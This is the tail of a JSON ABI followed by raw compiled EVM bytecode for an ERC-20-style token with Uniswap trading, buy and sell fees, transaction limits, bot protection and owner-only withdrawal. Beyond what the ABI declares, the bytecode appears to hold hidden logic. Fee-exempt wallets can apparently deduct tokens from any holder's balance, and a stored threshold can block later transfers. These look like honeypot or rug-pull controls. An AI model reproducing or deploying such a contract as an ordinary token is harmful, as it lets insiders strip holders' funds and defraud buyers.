:"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060068190556007556011805463ffffffff191663010000011790553480156200002e57600080fd5b506040518060400160405280600681526020016547544120564960d01b8152506040518060400160405280600481526020016323aa209b60e11b81525081600390816200007c9190620008ca565b5060026200008b8282620008ca565b5050506000620000a0620004c260201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e6d833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801562000143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000169919062000996565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001dd919062000996565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000251919062000996565b600880546001600160a01b0319166001600160a01b0392909216918217905533906200027f906001620004c6565b60085462000298906001600160a01b0316600162000529565b600b80546001600160a01b0319908116730d5d4b8db6014d282f0563659f1b005daf7f22b417909155600c805490911673fdd89190bf7df9ab3c79ec9ba36205ab56c48cfa1790556b033b2e3c9fd0803ce8000000612710620002fd826005620009de565b620003099190620009fe565b600a5560646200031b826002620009de565b620003279190620009fe565b601555606462000339826002620009de565b620003459190620009fe565b601355606462000357826002620009de565b620003639190620009fe565b6014908155601f8190556020556000602181905560228190556005601a819055601b819055601c829055601d8290556200039e818362000a21565b620003aa919062000a21565b620003b6919062000a21565b601955602154602054601f54602254620003d1919062000a21565b620003dd919062000a21565b620003e9919062000a21565b601e55620003fb61dead6001620004c6565b600b5462000414906001600160a01b03166001620004c6565b600c546200042d906001600160a01b03166001620004c6565b6200043a826001620004c6565b62000447306001620004c6565b6200045661dead600162000595565b600b546200046f906001600160a01b0316600162000595565b600c5462000488906001600160a01b0316600162000595565b6200049582600162000595565b620004a230600162000595565b620004ad8262000643565b620004b9828262000740565b50505062000a37565b3390565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152601660205260409020805460ff1916821515179055620005598282620004c6565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005e45760405162461bcd60e51b8152602060048201819052602482015260008051602062003e4d83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146200068e5760405162461bcd60e51b8152602060048201819052602482015260008051602062003e4d8339815191526044820152606401620005db565b6001600160a01b038116620006f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005db565b6005546040516001600160a01b0380841692169060008051602062003e6d83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216620007985760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005db565b8060046000828254620007ac919062000a21565b90915550506001600160a01b03821660009081526001602052604081208054839290620007db90849062000a21565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200085057607f821691505b6020821081036200087157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008c557600081815260208120601f850160051c81016020861015620008a05750805b601f850160051c820191505b81811015620008c157828155600101620008ac565b5050505b505050565b81516001600160401b03811115620008e657620008e662000825565b620008fe81620008f784546200083b565b8462000877565b602080601f8311600181146200093657600084156200091d5750858301515b600019600386901b1c1916600185901b178555620008c1565b600085815260208120601f198616915b82811015620009675788860151825594840194600190910190840162000946565b5085821015620009865787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009a957600080fd5b81516001600160a01b0381168114620009c157600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009f857620009f8620009c8565b92915050565b60008262000a1c57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009f857620009f8620009c8565b6134068062000a476000396000f3fe6080604052600436106103c75760003560e01c806395d89b41116101f2578063cadd422c1161010d578063e2f45605116100a0578063f2bbf8d91161006f578063f2bbf8d914610ad3578063f2fde38b14610ae9578063fc7eb42d14610b09578063fd35d1d614610b1f57600080fd5b8063e2f4560514610a72578063e611bfdb14610a88578063e7ad9fcd14610a9e578063e884f26014610abe57600080fd5b8063d4384318116100dc578063d4384318146109e3578063dc3f0d0f146109f9578063dd62ed3e14610a19578063e086e5ec14610a5d57600080fd5b8063cadd422c14610981578063cd51e6d414610997578063d0a39814146109ad578063d257b34f146109c357600080fd5b8063abe43b1b11610185578063c18bc19511610154578063c18bc195146108f0578063c424134c14610910578063c5b45ec014610940578063c876d0b91461096057600080fd5b8063abe43b1b14610883578063b9e937001461089a578063bbc0c742146108b0578063c0246668146108d057600080fd5b8063a457c2d7116101c1578063a457c2d71461080d578063a9059cbb1461082d578063aa4bde281461084d578063aacebbe31461086357600080fd5b806395d89b41146107a25780639a7a23d6146107b75780639fccce32146107d7578063a41aaaf1146107ed57600080fd5b806359d24b8e116102e2578063751039fc1161027557806388e765ff1161024457806388e765ff146107435780638a8c523c146107595780638cf405551461076e5780638da5cb5b1461078457600080fd5b8063751039fc146106e25780637571336a146106f757806376c702bf14610717578063868f0a741461072d57600080fd5b80636eb490cf116102b15780636eb490cf1461066757806370a0823114610697578063715018a6146106b7578063737952e6146106cc57600080fd5b806359d24b8e146105ec57806366d602ae1461061c5780636b0a894c146106325780636ddd17131461064857600080fd5b806323b872dd1161035a5780633950935111610329578063395093511461057c578063437764991461059c57806349bd5a5e146105b25780634a62bb65146105d257600080fd5b806323b872dd146105005780632be32b61146105205780632e6ed7ef14610540578063313ce5671461056057600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b1e7a7146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612fb6565b60405180910390f35b34801561040a57600080fd5b5061041e61041936600461301c565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b5060095461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506004545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004613048565b610bde565b005b3480156104b357600080fd5b5061047760255481565b3480156104c957600080fd5b5061047760235481565b3480156104df57600080fd5b506104776104ee366004613048565b600d6020526000908152604090205481565b34801561050c57600080fd5b5061041e61051b366004613065565b610c89565b34801561052c57600080fd5b506104a561053b3660046130a6565b610d33565b34801561054c57600080fd5b506104a561055b3660046130bf565b610e40565b34801561056c57600080fd5b50604051601281526020016103f5565b34801561058857600080fd5b5061041e61059736600461301c565b610ee3565b3480156105a857600080fd5b50610477601b5481565b3480156105be57600080fd5b5060085461044e906001600160a01b031681565b3480156105de57600080fd5b5060115461041e9060ff1681565b3480156105f857600080fd5b5061041e610607366004613048565b600f6020526000908152604090205460ff1681565b34801561062857600080fd5b5061047760145481565b34801561063e57600080fd5b5061047760125481565b34801561065457600080fd5b5060115461041e90610100900460ff1681565b34801561067357600080fd5b5061041e610682366004613048565b60166020526000908152604090205460ff1681565b3480156106a357600080fd5b506104776106b2366004613048565b610f1d565b3480156106c357600080fd5b506104a5610f38565b3480156106d857600080fd5b50610477601f5481565b3480156106ee57600080fd5b506104a5610fac565b34801561070357600080fd5b506104a56107123660046130f1565b611013565b34801561072357600080fd5b50610477601a5481565b34801561073957600080fd5b5061047760205481565b34801561074f57600080fd5b5061047760135481565b34801561076557600080fd5b506104a56110db565b34801561077a57600080fd5b5061047760265481565b34801561079057600080fd5b506005546001600160a01b031661044e565b3480156107ae57600080fd5b506103e861119e565b3480156107c357600080fd5b506104a56107d23660046130f1565b6111ad565b3480156107e357600080fd5b5061047760245481565b3480156107f957600080fd5b506104a561080836600461312f565b6112a1565b34801561081957600080fd5b5061041e61082836600461301c565b6112f7565b34801561083957600080fd5b5061041e61084836600461301c565b61138e565b34801561085957600080fd5b5061047760155481565b34801561086f57600080fd5b506104a561087e366004613048565b61139b565b34801561088f57600080fd5b50600754431061041e565b3480156108a657600080fd5b5061047760195481565b3480156108bc57600080fd5b5060115461041e9062010000900460ff1681565b3480156108dc57600080fd5b506104a56108eb3660046130f1565b611449565b3480156108fc57600080fd5b506104a561090b3660046130a6565b6114d2565b34801561091c57600080fd5b5061041e61092b366004613048565b60186020526000908152604090205460ff1681565b34801561094c57600080fd5b506104a561095b366004613048565b6115db565b34801561096c57600080fd5b5060115461041e906301000000900460ff1681565b34801561098d57600080fd5b50610477601c5481565b3480156109a357600080fd5b5061047760065481565b3480156109b957600080fd5b50610477601e5481565b3480156109cf57600080fd5b506104a56109de3660046130a6565b611626565b3480156109ef57600080fd5b5061047760225481565b348015610a0557600080fd5b506104a5610a143660046130a6565b611771565b348015610a2557600080fd5b50610477610a34366004613164565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a6957600080fd5b506104a5611878565b348015610a7e57600080fd5b50610477600a5481565b348015610a9457600080fd5b5061047760075481565b348015610aaa57600080fd5b506104a5610ab93660046130bf565b6118e4565b348015610aca57600080fd5b506104a5611984565b348015610adf57600080fd5b5061047760215481565b348015610af557600080fd5b506104a5610b04366004613048565b6119bd565b348015610b1557600080fd5b5061047760105481565b348015610b2b57600080fd5b50610477601d5481565b606060038054610b4490613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090613192565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa8565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c08906131cc565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcb565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa8565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e8610d7260045490565b610d7d906002613217565b610d87919061322e565b610d91919061322e565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a7640000613217565b60138190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c08906131cc565b601d839055601a849055601b829055601c8190558082610e8a8587613250565b610e949190613250565b610e9e9190613250565b601981905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f18908690613250565b611aa8565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610f625760405162461bcd60e51b8152600401610c08906131cc565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd65760405162461bcd60e51b8152600401610c08906131cc565b6004546013556004546014556004546015556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610c08906131cc565b806110b0576008546001600160a01b03908116908316036110b05760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111055760405162461bcd60e51b8152600401610c08906131cc565b60115462010000900460ff161561115e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6011805462ffff00191662010100179055436006556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4490613192565b6005546001600160a01b031633146111d75760405162461bcd60e51b8152600401610c08906131cc565b6008546001600160a01b039081169083160361125b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6112658282612803565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b306112ab81610f1d565b600a5411156112b957600080fd5b6112c4848484612831565b15610edd576009805460ff60a01b1916600160a01b1790556112e46128cb565b6009805460ff60a01b1916905550505050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156113775760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6113843385858403611aa8565b5060019392505050565b6000610bd4338484611bcb565b6005546001600160a01b031633146113c55760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b0381166114275760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114735760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fc5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e861151160045490565b61151c906003613217565b611526919061322e565b611530919061322e565b8110156115945760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6115a681670de0b6b3a7640000613217565b60158190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146116055760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6005546001600160a01b031633146116505760405162461bcd60e51b8152600401610c08906131cc565b620186a061165d60045490565b611668906001613217565b611672919061322e565b8110156116df5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86116eb60045490565b6116f6906001613217565b611700919061322e565b81111561176c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600a55565b6005546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e86117b060045490565b6117bb906002613217565b6117c5919061322e565b6117cf919061322e565b8110156118315760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184381670de0b6b3a7640000613217565b60148190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a25760405162461bcd60e51b8152600401610c08906131cc565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190e5760405162461bcd60e51b8152600401610c08906131cc565b6022839055601f84905560208290556021819055808261192e8587613250565b6119389190613250565b6119429190613250565b601e81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119ae5760405162461bcd60e51b8152600401610c08906131cc565b6011805463ff00000019169055565b6005546001600160a01b031633146119e75760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038116611a4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038084166000908152601660209081526040808320549386168352600d909152812054429260ff1691901590611c0786610f1d565b1590506001600160a01b038716611c305760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038616611c565760405162461bcd60e51b8152600401610c08906132a8565b60008511611ca65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60115462010000900460ff16611d3a576001600160a01b03871660009081526017602052604090205460ff1680611cf557506001600160a01b03861660009081526017602052604090205460ff165b611d3a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b60075415611de4576001600160a01b0387166000908152600f602052604090205460ff161580611d7757506005546001600160a01b038781169116145b80611d8c57506001600160a01b03861661dead145b611de45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60115460ff1615612299576001600160a01b03871660009081526018602052604090205460095460ff91821691600160a01b9091041615611e2d6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5c57506005546001600160a01b03898116911614155b8015611e7057506001600160a01b03881615155b8015611e8757506001600160a01b03881661dead14155b8015611eac57506001600160a01b03891660009081526017602052604090205460ff16155b8015611ed157506001600160a01b03881660009081526017602052604090205460ff16155b15612046576011546301000000900460ff1615612046576009546001600160a01b038a1660009081526016602052604081205460ff600160a01b90930483161592161590818015611f1f5750825b6009549091506001600160a01b038c8116911614801590611f4e57506008546001600160a01b038c8116911614155b1561201157611f5e6002436132eb565b326000908152600e6020526040902054108015611f9c5750611f816002436132eb565b6001600160a01b038c166000908152600e6020526040902054105b611fe85760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b326000908152600e602052604080822043908190556001600160a01b038e168352912055612042565b8015612042576001600160a01b038c166000908152600d602052604090205460105481118061203f57600080fd5b50505b5050505b6001600160a01b03891660009081526016602052604090205460ff16801561208757506001600160a01b03881660009081526018602052604090205460ff16155b15612153576013548711156120ef5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b6015546120fb89610f1d565b6121059089613250565b111561214e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612296565b80801561215d5750815b1561216c576010869055612296565b6001600160a01b03881660009081526016602052604090205460ff1680156121ad57506001600160a01b03891660009081526018602052604090205460ff16155b156122175760145487111561214e5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03881660009081526018602052604090205460ff166122965760155461224389610f1d565b61224d9089613250565b11156122965760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b50505b60006122a430610f1d565b600a54909150811080159081906122c25750601154610100900460ff165b80156122d85750600954600160a01b900460ff16155b80156122fd57506001600160a01b03891660009081526016602052604090205460ff16155b801561232257506001600160a01b03891660009081526017602052604090205460ff16155b801561234757506001600160a01b03881660009081526017602052604090205460ff16155b15612375576009805460ff60a01b1916600160a01b1790556123676128cb565b6009805460ff60a01b191690555b60018480156123815750855b156123a85783156123a8576001600160a01b0389166000908152600d602052604090208790555b6001600160a01b038a1660009081526017602052604090205460ff16806123e757506001600160a01b03891660009081526017602052604090205460ff165b156123f0575060005b600081156127eb576007544310801561242157506001600160a01b038b1660009081526016602052604090205460ff165b801561244657506001600160a01b038a1660009081526016602052604090205460ff16155b801561245457506000601954115b156125d4576001600160a01b038a166000908152600f602052604090205460ff166124f4576001600160a01b038a166000908152600f60205260408120805460ff1916600190811790915560128054919290916124b2908490613250565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646125018a6063613217565b61250b919061322e565b9050601954601d548261251e9190613217565b612528919061322e565b602560008282546125399190613250565b9091555050601954601a5461254e9083613217565b612558919061322e565b602360008282546125699190613250565b9091555050601954601b5461257e9083613217565b612588919061322e565b602460008282546125999190613250565b9091555050601954601c546125ae9083613217565b6125b8919061322e565b602660008282546125c99190613250565b909155506127cd9050565b6001600160a01b038a1660009081526016602052604090205460ff1680156125fe57506000601e54115b156126c0576064601e548a6126139190613217565b61261d919061322e565b9050601e54602254826126309190613217565b61263a919061322e565b6025600082825461264b9190613250565b9091555050601e54601f546126609083613217565b61266a919061322e565b6023600082825461267b9190613250565b9091555050601e546020546126909083613217565b61269a919061322e565b602460008282546126ab9190613250565b9091555050601e546021546125ae9083613217565b6001600160a01b038b1660009081526016602052604090205460ff1680156126ea57506000601954115b156127cd5760646019548a6126ff9190613217565b612709919061322e565b9050601954601d548261271c9190613217565b612726919061322e565b602560008282546127379190613250565b9091555050601954601a5461274c9083613217565b612756919061322e565b602360008282546127679190613250565b9091555050601954601b5461277c9083613217565b612786919061322e565b602460008282546127979190613250565b9091555050601954601c546127ac9083613217565b6127b6919061322e565b602660008282546127c79190613250565b90915550505b80156127de576127de8b3083612ad1565b6127e8818a6132eb565b98505b6127f68b8b8b612ad1565b5050505050505050505050565b6001600160a01b0382166000908152601660205260409020805460ff19168215151790556112658282612c26565b3360008181526017602052604081205490919060ff163083821561288b57600061285a83610f1d565b1115612880578660000361287257601086905561287c565b61287c8888612c89565b5060005b9350610d2c92505050565b60265461289783610f1d565b101580156128a757506000602654115b156128b8576128b884602654612c89565b505060006026555060019150610d2c9050565b60006026541180156128e757506026546128e430610f1d565b10155b156128f8576128f830602654612c89565b6000602681905561290830610f1d565b9050600060245460235460255461291f9190613250565b6129299190613250565b9050811580612936575080155b1561293f575050565b600a805461294c91613217565b82111561296357600a805461296091613217565b91505b6000600282602554856129769190613217565b612980919061322e565b61298a919061322e565b905061299e61299982856132eb565b612daa565b602554479081906000906129b49060029061322e565b6129be90866132eb565b6023546129cb9085613217565b6129d5919061322e565b9050600060026025546129e8919061322e565b6129f290876132eb565b6024546129ff9086613217565b612a09919061322e565b9050612a158183613250565b612a1f90846132eb565b600060258190556023819055602481905560265592508415801590612a445750600083115b15612a5357612a538584612f04565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a8d573d6000803e3d6000fd5b50600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612ac7573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612af75760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038216612b1d5760405162461bcd60e51b8152600401610c08906132a8565b6001600160a01b03831660009081526001602052604090205481811015612b955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bcc908490613250565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c1891815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612cdf5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20746865207a65726f20616464726573730000000000000000006044820152606401610c08565b6001600160a01b03821660009081526001602052604090205481811015612d525760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074686520616d6f756e7420657863656564732062616c616e636044820152606560f81b6064820152608401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ddf57612ddf6132fe565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5c9190613314565b81600181518110612e6f57612e6f6132fe565b6001600160a01b039283166020918202929092010152600954612e959130911684611aa8565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ece908590600090869030904290600401613331565b600060405180830381600087803b158015612ee857600080fd5b505af1158015612efc573d6000803e3d6000fd5b505050505050565b600954612f1c9030906001600160a01b031684611aa8565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612faf91906133a2565b5050505050565b600060208083528351808285015260005b81811015612fe357858101830151858201604001528201612fc7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461301